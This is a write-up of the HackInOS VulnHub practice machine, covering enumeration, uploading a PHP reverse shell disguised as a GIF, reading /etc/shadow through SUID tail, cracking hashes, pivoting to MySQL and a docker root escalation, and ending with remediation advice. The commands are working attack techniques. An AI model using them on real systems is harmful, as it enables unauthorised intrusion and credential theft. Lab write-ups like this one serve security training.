VulnHub – HackInOS

HackInOS VM can be downloaded from
https://www.vulnhub.com/entry/hackinos-1,295/

Software Used
Linux kali 4.19.0-kali1-amd64 #1 SMP Debian 4.19.13-1kali1 (2019-01-03) x86_64 GNU/Linux
NMap 7.70
FireFox 60.4 Oesr (64 bit)
WPScan 3.4.3
Python 2.7
Netcat v1.10-41.1
John the Ripper 1.8.0.13
Apache 2.4.37

Enumeration

I started off with a ping sweep using nmap –sn 10.0.2.* to find the IP address of the machine followed by ifconfig to confirm the IP address of Kali to avoid port scanning myself.

The target is 10.0.2.20
Use nmap to scan for services with nmap –sV 10.0.2.20

Port 22 is running OpenSSH 7.2, nothing unusual here.Port 8000 is running Apache. In FireFox navigating to 10.0.2.20:8000 will bring us to a WordPress page.

The first thing that jumps out at me after WordPress is a user called Handsome_Container.
Being a WordPress site it makes sense to use WPScan to scan for any vulnerabilities.
Using The command wpscan –url http://10.0.2.20:8000 –wp-content-dir http://10.0.2.20:8000

This has revealed that WordPress 5.0.3 is running and there is a XSS CVE, which however isn’t what we’re looking for.

Navigating to 10.0.2.20:8000/robots.txt reveals the following:

We don’t have permission to access 10.0.2.20:8000/uploads
Navigating to 10.0.2.20:8000/upload.php however opens a page with an upload form.

The source code for this page reveals a comment at line 60

<!– https://github.com/fatihhcelik/Vulnerable-Machine—Hint –>

Following this link provides the code for the upload form.

I don’t know much about PHP but I have interpreted the following from this code:

• The file will be in the /uploads directory
• The file name will be converted to a MD5 hash followed by a random number ranging from 1 – 100.
• Only GIF and PNG files are allowed to be uploaded, this is checked by the contents of the file rather than the file extension.

Exploit

Kali Linux comes with a wide range of exploits and payloads ready to use, I will be using one of these. Navigating to /usr/share/webshells/php I am going to use php-reverse-shell.php
This however won’t work for our exploit as it is, because the upload form only accepts GIF and PNG files, the file needs to be parsed as one of these, this is done by simply adding the string GIF98a; to the start of the file.

We will also need to set up a listener. To do this, first of all $ip needs to be changed to the IP address of the attacking machine and $port should be set to an obscure port number to avoid any conflicts, I used 4321.

Once the file is uploaded the name will be changed to an MD5 hash with a random number (1-100) at the end, searching for this file will be incredibly time consuming and tedious, I wrote a python script to find it for me called filefinder.py

The next step is to set up the listener, I used netcat to do this with the command
nc –lvp 4321

Once the listener was running, I uploaded the reverse shell and run the python script, this gives me a low privilege basic shell logged in as www-data.

Post-Exploit

First of all I ran the command python –c ‘import pty; pty.spawn(“/bin/bash”)’ to give me a more stable shell to work with. After some enumerating I eventually ended up using
find / -perm -4000 2>/dev/null to find any files that had the SUID bit set, this revealed that tail can be run as root. Tail is a command that is used to read the end of a file, this can be easily exploited to read sensitive data such as etc/shadow which is where Linux stores password hashes.

Using the command tail –c 2G /etc/shadow will show the last 2Gb of data in the shadow file.

This has revealed the password hash for the root account.
To make this hash readable I used John the Ripper, a program for cracking password hashes, using the command john Desktop/RootHash –show (I saved the hash to the file RootHash on my Desktop), this returned the password as john

With the password to the root account, I can login as the root user in my reverse shell with the command su root and using john when prompted for a password, root access is confirmed with the command id

With root access I now have the ability to read and write any file, I am only interested in capturing the flag here, so I’ll navigate to the root directory and view the files in there using ls –la

cat flag reveals:

This is obviously not the flag, reading some of the other files in the directory leads me to reading .port

Using arp –a reveals a few IP addresses connected to this machine.

Using Netcat to port scan these IP Adresses with the command nc –z –v 172.18.0.* 1-65535 reveals the services running on them.

mysql is running on port 3306 on 172.18.0.2

Whilst enumerating earlier I checked the wp-config.php file in var/www/html and found some information that could possibly relate to this.

Using this information to log into the database is successful,
 mysql –h 172.18.0.2 –u wordpress –p wordpress

show tables; reveals the following tables in the database.

Looking at some of these tables reveals what appears to be some usernames and password hashes.
select * from host_ssh_cred; reveals

select * from wp_users; reveals

It appears that we now have some details for a user on the machine and the details to log into the WordPress site as Handsome_Container, these can both be cracked using John the Ripper again. hummingbirdscyber was cracked very quickly with the command
john Desktop/HackInOS/userhash.txt –format=RAW-md5 –show
the password is 123456

The WordPress account was taking much longer to crack so I just left John running whilst moving forward.

Using the username hummingbirdscyber and the password 123456 to log into SSH was successful.

After this I began enumerating the machine, using a script called BeRoot (https://github.com/AlessandroZ/BeRoot).
To do this I started Apache2 from Kali, copied BeRoot to /var/www/html, navigated into the BeRoot folder and zipped Linux
In the SSH shell I used the command
wget [Attacker IP Address]/BeRoot/Linux.zip to download the BeRoot script to hummingbirdscyber.

Unzip the file, change to the new Linux directory and run the beroot.py file using the command python beroot.py

This script has revealed a quite a few interesting things. There are several possible CVE’s. Docker can potentially be exploited to perform privilege escalation using the command:
docker run –rm -v /home/$USER:/h_docs ubuntu \
sh -c ‘cp /bin/sh /h_docs/ && chmod +s /h_docs/sh’ && ~/sh –p

I will revisit this after further enumeration, the commands id and
find / -perm -4000 2>/dev/null reveal a couple of other interesting things.

hummingbirdscyber belongs to the docker group which we have established has a potential exploit. There are also several files that have the SUID bit set, which can potentially lead to privilege escalation, I am particularly interested in /Desktop/a.out and /hummingbirdscyber/sh

/sh doesn’t seem to provide any way to execute privilege escalation, however a.out has potential, running this file leads to the word root being printed to the console, but does not grant any privilege escalation. The command strings a.out reveals amongst other things, setuid, setgid and whoami
This leads me to believe that this changes the uid and gid to root, then issues the command whoami

Further enumeration leads me to $PATH having a potential way to exploit a.out
home/hummingbirdscyber/bin is set as the first path to check for files, however this directory doesn’t exist.

Creating this directory with the file whoami, and the payload /bin/bash should cause the program to run whoami from this directory rather than where it is usually stored and execute /bin/bash.

I expected that to work, but it hasn’t, hopefully someone can explain why!

Using the docker command that our python script found earlier provides a root shell.

Remediation

• Update WordPress to eliminate the XSS vulnerability.
• Uploads.php should be edited to properly filter out unwanted file extensions.
• Tail should have appropriate permissions set.
• Docker should have appropriate permissions set.
• Config files such as wp-config should have unnecessary permissions revoked.
• $PATH variables should be edited to not allow system processes to be run from alternative paths.
• Stronger passwords should be applied to all accounts.